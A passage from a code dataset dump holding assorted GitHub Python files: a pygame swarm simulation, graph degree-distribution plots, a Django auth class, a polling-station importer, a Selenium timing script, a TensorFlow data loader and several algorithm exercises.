(255, 0, 0)\nGREEN = ( 0, 255, 0)\nBLUE = ( 0, 0, 255)\n\nFPS = 20 # frames per second setting\nfpsClock = pygame.time.Clock()\n\nwidth,height = 800, 800\nDISPLAYSURF = pygame.display.set_mode((width, height), 0, 32)\npygame.display.set_caption('Swarm with Balls')\n\nclass aBox:\n '''\n A box for the swarm to find a way around\n '''\n def __init__(self):\n inc = 40\n self.x = width/9 - inc \n self.y = self.x\n self.w,self.h = 250,250\n \n def render(self):\n pygame.draw.rect(DISPLAYSURF, BLACK, ( self.x, self.y, self.w, self.h) )\n\n def get_pos(self):\n return self.x, self.y, self.w,self.h\n\n\nclass Agent:\n '''\n This is going to be an agent in the swarm\n\n Squares - because I don't know simple collision detection with circles\n - we're into swarm algorithms, not games, bucko\n '''\n def __init__(self):\n self.xpos = random.randint(5,45)\n self.ypos = random.randint(5,45)\n \n self.velocity = 5\n self.thickness = 10\n self.center = sqrt((self.xpos + self.thickness/2)**2 + (self.ypos + self.thickness)**2)\n\n def render(self):\n pygame.draw.rect(DISPLAYSURF, RED, ( self.xpos, self.ypos, self.thickness, self.thickness) ) \n \n \n def collides(self,maybe_xpos, maybe_ypos, toAvoid):\n ####### Collision Avoidance (because I havn't done it yet) ############\n x,y,w,h = toAvoid\n if maybe_xpos > x and maybe_xpos < x + w or maybe_xpos + self.thickness > x and maybe_xpos + self.thickness < x+w:\n if maybe_ypos > y and maybe_ypos < y + h or maybe_ypos + self.thickness > y and maybe_ypos + self.thickness < y+h:\n return True\n \n ###### Phew no collisions ############################################\n return False\n\n def move(self, toAvoid):\n\n theMove = random.randint( 0, 3 )\n \n x,y,w,h = toAvoid \n\n if theMove == 0:\n if self.xpos == width-1:\n self.xpos = self.xpos\n else:\n if self.collides(self.xpos + self.velocity, self.ypos, toAvoid) == False:\n self.xpos += self.velocity\n elif theMove == 1:\n if self.ypos == height-1:\n asdfads=9\n else:\n if self.collides(self.xpos, self.ypos + self.velocity, toAvoid) == False:\n self.ypos += self.velocity\n elif theMove == 2:\n if self.ypos == width-1:\n self.xpos=self.xpos\n elif self.ypos == height - 1:\n self.ypos=self.ypos\n else:\n if self.collides(self.xpos + self.velocity, self.ypos + self.velocity, toAvoid) == False:\n self.xpos += self.velocity\n self.ypos += self.velocity \n self.center = sqrt((self.xpos + self.thickness/2)**2 + (self.ypos + self.thickness)**2)\n\n def get_pos(self):\n return (self.xpos, self.ypos)\n\n\nclass Squirrel:\n\n def __init__(self,name):\n self.x=random.randint(10,25)\n self.y=random.randint(10,25)\n self.image = pygame.image.load(name)\n self.rect = self.image.get_rect()\n\n def render(self):\n DISPLAYSURF.blit(self.image, (self.x,self.y))\n\n# Define the bullet class to create bullets \nclass Dude:\n\n def __init__(self,x,y,name):\n self.x = x + 23\n self.y = y\n self.image = pygame.image.load(name)\n self.rect = self.image.get_rect()\n def is_collided_with(self, sprite):\n return self.rect.colliderect(sprite.rect)\n def render(self):\n DISPLAYSURF.blit(self.image, (self.x, self.y))\n def move(self,x,y):\n self.x = x\n self.y = y\n self.rect.x = x\n self.rect.y = y\n #self.rect = self.bullet.get_rect()\n'''\n cx, cy \n These are indices of centerx and centery\n Circle x-position, and yposition\n'''\ns = Squirrel(\"squirrel.png\")\nb = Dude(450,450,\"boy.png\")\n\n\nthings = []\nfor i in range(10):\n thing = Agent()\n things.append(thing)\nbox = aBox()\n\n\nmousex = 450\nmousey = 450\n\nwhile True: # the main game loop\n \n DISPLAYSURF.fill(WHITE) \n \n box.render()\n b.move(mousex, mousey)\n b.render()\n s.render()\n\n if b.is_collided_with(s):\n\n pos = box.get_pos()\n x,y,w,h = pos\n\n for i in things:\n i.move(pos) \n i.render() \n \n for event in pygame.event.get(): # event handling loop\n if event.type == QUIT or (event.type == KEYUP and event.key == K_ESCAPE):\n pygame.quit()\n sys.exit()\n elif event.type == MOUSEMOTION:\n mousex, mousey = event.pos\n elif event.type == MOUSEBUTTONUP:\n mousex, mousey = event.pos\n mouseClicked = True\n\n pygame.display.update()\n fpsClock.tick(FPS)\n","repo_name":"leclair-7/Robot-Simulator","sub_path":"swarm.py","file_name":"swarm.py","file_ext":"py","file_size_in_byte":5268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73442903504","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 23 10:33:07 2019\n\n@author: polo\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\n\nfrom scipy import mean\nimport numpy as np\n\nG = nx.gnp_random_graph(10, 0.5, directed=True)\nnx.draw(G, node_size=10, labels=None, with_labels=True)\nA = nx.adjacency_matrix(G).todense()\nplt.show()\n\n \ndef plot_degree_dist(G):\n all_degrees = [G.degree(n) for n in G.nodes()]\n degrees = list(set(all_degrees))\n #Degree_Dist = [all_degrees.count(degree)/G.number_of_nodes() for degree in degrees]\n Degree_Dist = [all_degrees.count(n)/G.number_of_nodes() for n in range(G.number_of_nodes())]\n \n print (round(sum(Degree_Dist),2),round(mean(list(Degree_Dist)),2))\n \n plt.plot([i for i in range(0,G.number_of_nodes())], [np.log10(DDist) for DDist in Degree_Dist]) \n \n #plt.loglog(degrees, Degree_Dist)\n plt.xlabel('degree')\n plt.ylabel('p(degree)')\n plt.title('Degree Distribution')\n \n #plt.hist(Degree_Dist)\n plt.show()\n \n return degrees,Degree_Dist\n\ndef Degree_Distribution(G):\n degrees = [G.degree(n) for n in G.nodes()]\n\n #Degree_Dist = [all_degrees.count(degree)/G.number_of_nodes() for degree in degrees]\n Degree_Dist = [float(degrees.count(n)/G.number_of_nodes()) for n in range(1,G.number_of_nodes()+1)]\n \n plt.plot([i for i in range(1,len(Degree_Dist)+1)], [np.log10(DDist) for DDist in Degree_Dist]) \n #plt.plot([i for i in range(0,len(Degree_Dist))], Degree_Dist) \n\n\n #plt.loglog(degrees, Degree_Dist)\n plt.xlabel('degree')\n plt.ylabel('p(degree)')\n plt.title('Degree Distribution')\n \n #plt.hist(Degree_Dist)\n plt.show()\n \n return degrees,Degree_Dist\n\ndef DDistNX(G):\n degrees = {}\n for n in range(1,G.number_of_nodes()+1): \n degrees[n]=G.degree(n)\n \n values= sorted(set(degrees.values()))\n hist= [list(degrees.values()).count(x) for x in values]\n \n return degrees,hist\n\ndegrees,hist = DDistNX(G)\n#degrees,Degree_Dist = Degree_Distribution(G)\n\ndef plot_degree_distribution (wiki):\n degs = {}\n for n in wiki.nodes():\n deg = wiki.degree(n)\n if deg not in degs:\n degs[deg] = 0\n degs[deg] += 1\n items = sorted(degs.items ())\n fig = plt.figure ()\n ax = fig.add_subplot (111)\n ax.plot([k for (k,v) in items], [v for (k,v) in items ])\n ax.set_xscale('log')\n #ax.set_yscale('log')\n plt.title(\"Wikipedia Degree Distribution\")\n #fig.savefig(\"degree_distribution.png\")\n \n#plot_degree_distribution (G)\n\ndef plot_degree_dist(G):\n degree_hist = nx.degree_histogram(G) \n degree_hist = np.array(degree_hist, dtype=float)\n degree_prob = degree_hist/G.number_of_nodes()\n plt.loglog(np.arange(degree_prob.shape[0]),degree_prob,'b.')\n plt.xlabel('k')\n plt.ylabel('p(k)')\n plt.title('Degree Distribution')\n plt.show()\n \n#plot_degree_dist(G)\n \n #degree_hist = nx.degree_histogram(G) \n #degree_hist = np.array(degree_hist, dtype=float)\n #degree_prob = degree_hist/G.number_of_nodes()","repo_name":"bounabyazid/SNA7","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40142591334","text":"from rest_framework.authentication import BaseAuthentication\nfrom rest_framework.exceptions import AuthenticationFailed, PermissionDenied\n\nfrom lms.api.utils import get_student_or_professor\n\n\nclass LMSAuthentication(BaseAuthentication):\n def authenticate(self, request):\n secret_key = request.META.get('HTTP_X_SECRET_KEY')\n if secret_key is None:\n raise AuthenticationFailed()\n\n person = get_student_or_professor(secret_key=secret_key)\n if person is None:\n raise PermissionDenied()\n\n return person, secret_key\n","repo_name":"julia-shenshina/LMS","sub_path":"lms/api/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23038506096","text":"def rotate(x1, y1, x2, y2, matrix):\n temp = matrix[x1][y1]\n min_value = temp\n \n for x in range(x1, x2):\n matrix[x][y1] = matrix[x + 1][y1]\n min_value = min(min_value, matrix[x][y1])\n\n for y in range(y1, y2):\n matrix[x2][y] = matrix[x2][y + 1]\n min_value = min(min_value, matrix[x2][y])\n \n for x in range(x2,x1,-1):\n matrix[x][y2] = matrix[x-1][y2]\n min_value = min(min_value, matrix[x][y2])\n \n for y in range(y2, y1,-1):\n matrix[x1][y] = matrix[x1][y - 1]\n min_value = min(min_value, matrix[x1][y])\n\n matrix[x1][y1+1] = temp\n \n return min_value\n\n\ndef solution(rows, columns, queries):\n matrix = []\n answer = []\n\n for i in range(rows):\n temp = [v + 1 for v in range(i * columns, i * columns + columns)]\n matrix.append(temp)\n\n for x1, y1, x2, y2 in queries:\n min_value = rotate(x1 - 1, y1 - 1, x2 - 1, y2 - 1, matrix)\n answer.append(min_value)\n\n return answer","repo_name":"Jongminfire/Programmers","sub_path":"Python/Level 2/행렬 테두리 회전 (구현).py","file_name":"행렬 테두리 회전 (구현).py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13610768951","text":"from unittest import mock\n\nfrom absl.testing import absltest\nfrom glazier.lib import buildinfo\nfrom glazier.lib import test_utils\nfrom glazier.lib.config import base\n\n\nclass BaseTest(test_utils.GlazierTestCase):\n\n def setUp(self):\n super(BaseTest, self).setUp()\n self.buildinfo = buildinfo.BuildInfo()\n self.cb = base.ConfigBase(self.buildinfo)\n\n @mock.patch.object(base.actions, 'SetTimer', autospec=True)\n def test_process_actions(self, mock_settimer):\n\n # valid command\n self.cb._ProcessAction('SetTimer', ['TestTimer'])\n mock_settimer.assert_called_with(\n build_info=self.buildinfo, args=['TestTimer'])\n self.assertTrue(mock_settimer.return_value.Run.called)\n\n # invalid command\n with self.assert_raises_with_validation(base.ConfigError):\n self.cb._ProcessAction('BadSetTimer', ['Timer1'])\n\n # action error\n mock_settimer.side_effect = base.actions.ActionError\n with self.assert_raises_with_validation(base.ConfigError):\n self.cb._ProcessAction('SetTimer', ['Timer1'])\n\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"google/glazier","sub_path":"glazier/lib/config/base_test.py","file_name":"base_test.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":1200,"dataset":"github-code","pt":"48"} +{"seq_id":"6509354626","text":"from data_importers.management.commands import BaseXpressDemocracyClubCsvImporter\nfrom django.contrib.gis.geos import Point\n\n\nclass Command(BaseXpressDemocracyClubCsvImporter):\n council_id = \"LEW\"\n addresses_name = (\n \"2022-05-05/2022-02-23T11:33:32.920251/Democracy_Club__05May2022 - Lewisham.tsv\"\n )\n stations_name = (\n \"2022-05-05/2022-02-23T11:33:32.920251/Democracy_Club__05May2022 - Lewisham.tsv\"\n )\n elections = [\"2022-05-05\"]\n csv_delimiter = \"\\t\"\n\n def station_record_to_dict(self, record):\n # Sir Francis Drake Primary School\n if record.polling_place_id == \"19929\":\n rec = super().station_record_to_dict(record)\n rec[\"location\"] = Point(-0.041453, 51.485092, srid=4326)\n return rec\n\n # All Saints Community Centre\n if record.polling_place_id == \"20137\":\n rec = super().station_record_to_dict(record)\n rec[\"location\"] = Point(-0.048807, 51.476468, srid=4326)\n return rec\n\n # Catford Wanderers Sports Club Beckenham Hill Road (Homebase entrance) London SE6 2NU\n if record.polling_place_id == \"20127\":\n record = record._replace(polling_place_postcode=\"SE6 3NU\")\n\n return super().station_record_to_dict(record)\n\n def address_record_to_dict(self, record):\n uprn = record.property_urn.strip().lstrip(\"0\")\n\n if uprn in [\n \"100022832913\", # 5 COACH HOUSE MEWS, LONDON\n \"100021978708\", # 299 LEWISHAM HIGH STREET, HITHER GREEN, LONDON\n \"100021935766\", # 128A BREAKSPEARS ROAD, LONDON\n \"100021935767\", # 128B BREAKSPEARS ROAD, LONDON\n \"100021966017\", # 32 HALESWORTH ROAD, LONDON\n \"100021957981\", # PADDY POWER, 299 EVELYN STREET, LONDON\n ]:\n return None\n\n if record.addressline6 in [\n \"SE8 3GQ\",\n \"SE4 1DR\",\n \"SE4 1DS\",\n \"SE4 1DR\",\n \"SE8 5NH\",\n \"SE8 5NP\",\n \"BR1 5PB\",\n ]:\n return None\n\n return super().address_record_to_dict(record)\n","repo_name":"DemocracyClub/UK-Polling-Stations","sub_path":"polling_stations/apps/data_importers/management/commands/import_lewisham.py","file_name":"import_lewisham.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"48"} +{"seq_id":"40706506858","text":"from __future__ import annotations\nimport datetime\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.serialization import Parsable, ParseNode, SerializationWriter\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\n\nif TYPE_CHECKING:\n from .entity import Entity\n from .mime_content import MimeContent\n\nfrom .entity import Entity\n\n@dataclass\nclass AndroidForWorkEnrollmentProfile(Entity):\n \"\"\"\n Enrollment Profile used to enroll COSU devices using Google's Cloud Management.\n \"\"\"\n # Tenant GUID the enrollment profile belongs to.\n account_id: Optional[str] = None\n # Date time the enrollment profile was created.\n created_date_time: Optional[datetime.datetime] = None\n # Description for the enrollment profile.\n description: Optional[str] = None\n # Display name for the enrollment profile.\n display_name: Optional[str] = None\n # Total number of Android devices that have enrolled using this enrollment profile.\n enrolled_device_count: Optional[int] = None\n # Date time the enrollment profile was last modified.\n last_modified_date_time: Optional[datetime.datetime] = None\n # The OdataType property\n odata_type: Optional[str] = None\n # String used to generate a QR code for the token.\n qr_code_content: Optional[str] = None\n # String used to generate a QR code for the token.\n qr_code_image: Optional[MimeContent] = None\n # Date time the most recently created token will expire.\n token_expiration_date_time: Optional[datetime.datetime] = None\n # Value of the most recently created token for this enrollment profile.\n token_value: Optional[str] = None\n \n @staticmethod\n def create_from_discriminator_value(parse_node: Optional[ParseNode] = None) -> AndroidForWorkEnrollmentProfile:\n \"\"\"\n Creates a new instance of the appropriate class based on discriminator value\n param parse_node: The parse node to use to read the discriminator value and create the object\n Returns: AndroidForWorkEnrollmentProfile\n \"\"\"\n if not parse_node:\n raise TypeError(\"parse_node cannot be null.\")\n return AndroidForWorkEnrollmentProfile()\n \n def get_field_deserializers(self,) -> Dict[str, Callable[[ParseNode], None]]:\n \"\"\"\n The deserialization information for the current model\n Returns: Dict[str, Callable[[ParseNode], None]]\n \"\"\"\n from .entity import Entity\n from .mime_content import MimeContent\n\n from .entity import Entity\n from .mime_content import MimeContent\n\n fields: Dict[str, Callable[[Any], None]] = {\n \"accountId\": lambda n : setattr(self, 'account_id', n.get_str_value()),\n \"createdDateTime\": lambda n : setattr(self, 'created_date_time', n.get_datetime_value()),\n \"description\": lambda n : setattr(self, 'description', n.get_str_value()),\n \"displayName\": lambda n : setattr(self, 'display_name', n.get_str_value()),\n \"enrolledDeviceCount\": lambda n : setattr(self, 'enrolled_device_count', n.get_int_value()),\n \"lastModifiedDateTime\": lambda n : setattr(self, 'last_modified_date_time', n.get_datetime_value()),\n \"qrCodeContent\": lambda n : setattr(self, 'qr_code_content', n.get_str_value()),\n \"qrCodeImage\": lambda n : setattr(self, 'qr_code_image', n.get_object_value(MimeContent)),\n \"tokenExpirationDateTime\": lambda n : setattr(self, 'token_expiration_date_time', n.get_datetime_value()),\n \"tokenValue\": lambda n : setattr(self, 'token_value', n.get_str_value()),\n }\n super_fields = super().get_field_deserializers()\n fields.update(super_fields)\n return fields\n \n def serialize(self,writer: SerializationWriter) -> None:\n \"\"\"\n Serializes information the current object\n param writer: Serialization writer to use to serialize this model\n Returns: None\n \"\"\"\n if not writer:\n raise TypeError(\"writer cannot be null.\")\n super().serialize(writer)\n writer.write_str_value(\"accountId\", self.account_id)\n writer.write_datetime_value(\"createdDateTime\", self.created_date_time)\n writer.write_str_value(\"description\", self.description)\n writer.write_str_value(\"displayName\", self.display_name)\n writer.write_int_value(\"enrolledDeviceCount\", self.enrolled_device_count)\n writer.write_datetime_value(\"lastModifiedDateTime\", self.last_modified_date_time)\n writer.write_str_value(\"qrCodeContent\", self.qr_code_content)\n writer.write_object_value(\"qrCodeImage\", self.qr_code_image)\n writer.write_datetime_value(\"tokenExpirationDateTime\", self.token_expiration_date_time)\n writer.write_str_value(\"tokenValue\", self.token_value)\n \n\n","repo_name":"microsoftgraph/msgraph-beta-sdk-python","sub_path":"msgraph_beta/generated/models/android_for_work_enrollment_profile.py","file_name":"android_for_work_enrollment_profile.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"39584591256","text":"import pandas as pd\r\nfrom model import preProcessing\r\nfrom flask import Flask, render_template, request\r\n\r\napp = Flask(__name__)\r\n\r\ndf = pd.read_csv(\"./Data/sample30.csv\")\r\nfin_ratings = pd.read_csv(\"./Data/recom.csv\")\r\nfin_ratings = fin_ratings.set_index('userId')\r\n\r\n\r\n\r\n@app.route(\"/\", methods=['POST', \"GET\"])\r\ndef home():\r\n if request.method == 'POST':\r\n user = request.form['name']\r\n if user in fin_ratings.index.tolist():\r\n lis = fin_ratings.loc[user].sort_values(ascending=False).index[:20]\r\n df_recom = df[df['name'].isin(lis)]\r\n fin_df = preProcessing(df_recom)\r\n fin_df = fin_df[['name', 'preds']]\r\n d = fin_df.groupby('name').mean().sort_values(ascending=False, by=\"preds\")*100\r\n # d = df.loc[user].sort_values(ascending=False)\r\n products = d[:5].index.tolist()\r\n return render_template('index.html', products=products, submit=\"yes\")\r\n else:\r\n return render_template('index.html', products=\"None\")\r\n else:\r\n return render_template('index.html')\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)","repo_name":"RonyEA/Sentiment-Based-Recommendation-System","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29323112747","text":"#!/usr/bin/env python3\n\nfrom datetime import datetime\nfrom selenium import webdriver\nfrom time import sleep\nimport argparse\nimport requests\nimport statistics\nimport sys\n\nurl_list = [\"https://www.google.no/\",\n \"https://www.nrk.no/\",\n \"http://www.eidskog-o-lag.no/\",\n \"https://www.eidskog.kommune.no/\"]\n\nfilename = \"webtimingslog.txt\"\n\n\ndef write_to_file(url, backend_time, frontend_time):\n now = datetime.now()\n with open(filename, 'a') as file:\n if backend_time is not None and frontend_time is not None:\n file.write(f\"{now}, {url}, {backend_time}, {frontend_time}\\n\")\n else:\n file.write(f\"{now}, {url}, {backend_time}, {frontend_time}\\n\")\n\n\ndef open_webpage(url):\n driver = webdriver.Chrome()\n driver.delete_all_cookies()\n driver.get(url)\n\n navigation_start = driver.execute_script(\"return window.performance.timing.navigationStart\")\n domain_start = driver.execute_script(\"return window.performance.timing.domainLookupStart\")\n connect_end = driver.execute_script(\"return window.performance.timing.connectEnd\")\n response_start = driver.execute_script(\"return window.performance.timing.responseStart\")\n dom_complete = driver.execute_script(\"return window.performance.timing.domComplete\")\n\n backend_performance_calc = response_start - navigation_start\n dns_tcp_calc = connect_end - domain_start\n frontend_performance_calc = dom_complete - response_start\n total_time = dom_complete - navigation_start\n\n driver.quit()\n\n # Only return timing if page loaded successfully, otherwise None\n try:\n r = requests.get(url, timeout=10)\n except requests.exceptions.RequestException as e:\n print(f\"Timeout loading page {url}\")\n return None, None\n\n if r.status_code == 200:\n print(\"URL : %s\" % url)\n print(\"Back End : %s\" % backend_performance_calc)\n print(\"DNS+TCP : %s\" % dns_tcp_calc)\n print(\"Front End : %s\" % frontend_performance_calc)\n print(\"Total time: %s\" % total_time)\n return backend_performance_calc, frontend_performance_calc\n else:\n print(f\"Timeout loading page {url}\")\n return None, None\n\n\ndef main():\n backend_performance_list = []\n frontend_performance_list = []\n\n if args.urllist:\n for _ in range(args.iterations):\n for link in url_list:\n result = open_webpage(link)\n if result[0] is not None:\n backend_performance_list.append(result[0])\n if result[1] is not None:\n frontend_performance_list.append(result[1])\n write_to_file(link, result[0], result[1])\n else:\n for _ in range(args.iterations):\n result = open_webpage(args.url)\n if result[0] is not None:\n backend_performance_list.append(result[0])\n if result[1] is not None:\n frontend_performance_list.append(result[1])\n write_to_file(args.url, result[0], result[1])\n\n print('Backend : {}'.format(backend_performance_list))\n print('Frontend : {}'.format(frontend_performance_list))\n if backend_performance_list and frontend_performance_list:\n print('Backend mean : {}'.format(statistics.mean(backend_performance_list)))\n print('Backend median: {}'.format(statistics.median(backend_performance_list)))\n print('Backend min : {}'.format(min(backend_performance_list)))\n print('Backend max : {}'.format(max(backend_performance_list)))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=sys.modules[__name__].__doc__)\n parser.add_argument('-u', '--urllist', action='store_true', help=\"Use predefined list of urls\")\n parser.add_argument('url', nargs='?', default=url_list[0])\n parser.add_argument('iterations', nargs='?', type=int, default=1)\n args = parser.parse_args()\n\n while True:\n main()\n sleep(15*60) # Run each 15 minutes\n","repo_name":"arnesor/pytime","sub_path":"pytime.py","file_name":"pytime.py","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8661055972","text":"import os\r\nimport glob\r\nimport scipy\r\nimport random\r\nimport numpy as np\r\nimport tensorflow as tf\r\n\r\nclass Dataset(object):\r\n def __init__(self, config):\r\n super(Dataset, self).__init__()\r\n\r\n self.train_list = self.load_flist(config.TRAIN_FLIST)\r\n self.mask_list = self.load_flist(config.MASK_FLIST)\r\n self.val_list = self.load_flist(config.VAL_FLIST)\r\n self.mask_val_list = self.load_flist(config.VAL_MASK_FLIST)\r\n self.len_train = len(self.train_list)\r\n self.len_val = len(self.val_list)\r\n self.input_size = config.INPUT_SIZE\r\n self.epoch = config.EPOCH\r\n self.batch_size = config.BATCH_SIZE\r\n self.val_batch_size = config.VAL_BATCH_SIZE\r\n self.data_batch()\r\n\r\n def load_flist(self, flist):\r\n if isinstance(flist, list):\r\n return flist\r\n # flist: image file path, image directory path, text file flist path\r\n if isinstance(flist, str):\r\n if os.path.isdir(flist):\r\n flist = list(glob.glob(flist + '/*.jpg')) + list(glob.glob(flist + '/*.png'))\r\n flist.sort()\r\n return flist\r\n if os.path.isfile(flist):\r\n try:\r\n return np.genfromtxt(flist, dtype=np.str, encoding='utf-8')\r\n except:\r\n return [flist]\r\n return []\r\n\r\n def data_batch(self):\r\n train_image = tf.data.Dataset.from_tensor_slices(self.train_list)\r\n train_mask = tf.data.Dataset.from_tensor_slices(self.mask_list)\r\n val_image = tf.data.Dataset.from_tensor_slices(self.val_list)\r\n val_mask = tf.data.Dataset.from_tensor_slices(self.mask_val_list)\r\n\r\n def image_fn(img_path):\r\n x = tf.read_file(img_path)\r\n x_decode = tf.image.decode_jpeg(x, channels=3)\r\n img = tf.image.resize_images(x_decode, [self.input_size, self.input_size])\r\n # img = tf.random_crop(x_decode, [self.input_size, self.input_size, 3])\r\n img = tf.cast(img, tf.float32)\r\n return img\r\n\r\n def mask_fn(mask_path):\r\n x = tf.read_file(mask_path)\r\n x_decode = tf.image.decode_jpeg(x, channels=1)\r\n mask = tf.image.resize_images(x_decode, [self.input_size, self.input_size])\r\n mask = tf.cast(mask, tf.float32)\r\n return mask\r\n\r\n train_image = train_image. \\\r\n repeat(self.epoch). \\\r\n map(image_fn). \\\r\n apply(tf.contrib.data.batch_and_drop_remainder(self.batch_size)). \\\r\n shuffle(buffer_size=1000)\r\n\r\n train_mask = train_mask. \\\r\n repeat(self.epoch). \\\r\n map(mask_fn). \\\r\n apply(tf.contrib.data.batch_and_drop_remainder(self.batch_size)). \\\r\n shuffle(buffer_size=1000)\r\n\r\n val_image = val_image. \\\r\n repeat(10 * self.epoch). \\\r\n map(image_fn). \\\r\n apply(tf.contrib.data.batch_and_drop_remainder(self.batch_size))\r\n\r\n val_mask = val_mask. \\\r\n repeat(10 * self.epoch). \\\r\n map(mask_fn). \\\r\n apply(tf.contrib.data.batch_and_drop_remainder(self.batch_size))\r\n\r\n self.batch_image = train_image.make_one_shot_iterator().get_next()\r\n self.batch_mask = train_mask.make_one_shot_iterator().get_next()\r\n self.val_image = val_image.make_one_shot_iterator().get_next()\r\n self.val_mask = val_mask.make_one_shot_iterator().get_next()\r\n\r\n","repo_name":"Evergrow/GDN_Inpainting","sub_path":"data_load.py","file_name":"data_load.py","file_ext":"py","file_size_in_byte":3478,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"48"} +{"seq_id":"33493029702","text":"import sys\n\nn, k = map(int, sys.stdin.readline().split())\nword = list(sys.stdin.readline().rstrip())\n\nidx = [i for i in range(len(word)) if word[i] == 'P']\n\ncount = 0\n\nfor i in idx :\n start, end = i - k, i + k\n \n if start < 0 :\n start = 0\n \n if end > len(word) - 1 :\n end = len(word) - 1\n \n for j in range(start, end + 1) : \n if word[j] == 'H' :\n count += 1 \n word[j] = 'E'\n break\n \nprint(count)","repo_name":"NewRecsys/Algorithm-Python","sub_path":"최민수/10주차/햄버거.py","file_name":"햄버거.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"69813877586","text":"from heapq import *\nimport sys\n\ninput = sys.stdin.readline\n\n\ndef Dijkstra(s):\n h = []\n heappush(h, (0, s))\n dist[s] = 0\n\n while h:\n c_dist, c_node = heappop(h)\n if dist[c_node] < c_dist:\n continue\n\n for n_node, weight in graph[c_node].items():\n n_dist = c_dist + weight\n if dist[n_node] > n_dist:\n dist[n_node] = n_dist\n heappush(h, (n_dist, n_node))\n\n\nT = int(input())\nfor _ in range(T):\n n, d, c = map(int, input().split())\n graph = {i: {} for i in range(1, n + 1)}\n dist = [float('inf') for _ in range(n + 1)]\n\n for _ in range(d):\n a, b, w = map(int, input().split())\n graph[b][a] = w\n\n Dijkstra(c)\n count = 0\n M = 0\n for d in dist:\n if d != float('inf'):\n count += 1\n if d > M:\n M = d\n print(count, M)\n","repo_name":"ddraa/Algorithm","sub_path":"Shortestpath/10282.py","file_name":"10282.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73656683026","text":"import random\r\nimport numpy as np\r\n\r\n# Set the parameters\r\nnum_employed_bees = 50\r\nnum_onlooker_bees = 50\r\nmax_iterations = 100\r\nlimit = 50\r\nproblem_size = 30\r\n\r\n# Define the fitness function\r\ndef fitness_function(x):\r\n return np.sum(x**2)\r\n\r\n# Initialize the population\r\nfood_sources = np.random.rand(num_employed_bees, problem_size) * 100\r\nfitness_values = np.array([fitness_function(food) for food in food_sources])\r\nno_improvement_counters = np.zeros(num_employed_bees)\r\n\r\n# Main loop\r\nfor iteration in range(max_iterations):\r\n # Employed bees phase\r\n for i in range(num_employed_bees):\r\n # Randomly select a dimension to change\r\n dimension = random.randint(0, problem_size - 1)\r\n \r\n # Generate a new candidate solution (mutant)\r\n mutant = np.copy(food_sources[i])\r\n mutant[dimension] += (random.random() - 0.5) * 2 # Modify the selected dimension randomly\r\n \r\n # Evaluate the fitness of the mutant\r\n mutant_fitness = fitness_function(mutant)\r\n \r\n # Greedy selection between the current solution and its mutant\r\n if mutant_fitness < fitness_values[i]:\r\n food_sources[i] = mutant\r\n fitness_values[i] = mutant_fitness\r\n no_improvement_counters[i] = 0\r\n else:\r\n no_improvement_counters[i] += 1\r\n\r\n # Calculate the probabilities based on fitness values\r\n total_fitness = np.sum(fitness_values)\r\n if total_fitness == 0:\r\n probabilities = np.ones(num_employed_bees) / num_employed_bees\r\n else:\r\n probabilities = (1.0 / (1.0 + fitness_values)) / np.sum(1.0 / (1.0 + fitness_values))\r\n\r\n # Onlooker bees phase\r\n for j in range(num_onlooker_bees):\r\n # Select a food source based on roulette wheel selection\r\n selected_food_source = np.random.choice(num_employed_bees, p=probabilities)\r\n \r\n # Randomly select a dimension to change\r\n dimension = random.randint(0, problem_size - 1)\r\n \r\n # Generate a new candidate solution (mutant)\r\n mutant = np.copy(food_sources[selected_food_source])\r\n mutant[dimension] += (random.random() - 0.5) * 2 # Modify the selected dimension randomly\r\n \r\n # Evaluate the fitness of the mutant\r\n mutant_fitness = fitness_function(mutant)\r\n \r\n # Greedy selection between the selected solution and its mutant\r\n if mutant_fitness < fitness_values[selected_food_source]:\r\n food_sources[selected_food_source] = mutant\r\n fitness_values[selected_food_source] = mutant_fitness\r\n no_improvement_counters[selected_food_source] = 0\r\n else:\r\n no_improvement_counters[selected_food_source] += 1\r\n\r\n # Scout bees phase\r\n for k in range(num_employed_bees):\r\n if no_improvement_counters[k] > limit:\r\n food_sources[k] = np.random.rand(problem_size) * 100\r\n fitness_values[k] = fitness_function(food_sources[k])\r\n no_improvement_counters[k] = 0\r\n\r\n # Display the best solution in each iteration\r\n best_fitness = np.min(fitness_values)\r\n print(f\"Iteration {iteration}, Best Fitness: {best_fitness}\")\r\n\r\n# Find the overall best solution\r\noverall_best_fitness = np.min(fitness_values)\r\noverall_best_index = np.argmin(fitness_values)\r\noverall_best_solution = food_sources[overall_best_index]\r\nprint(\"--- Optimization Results ---\")\r\nprint(f\"Best 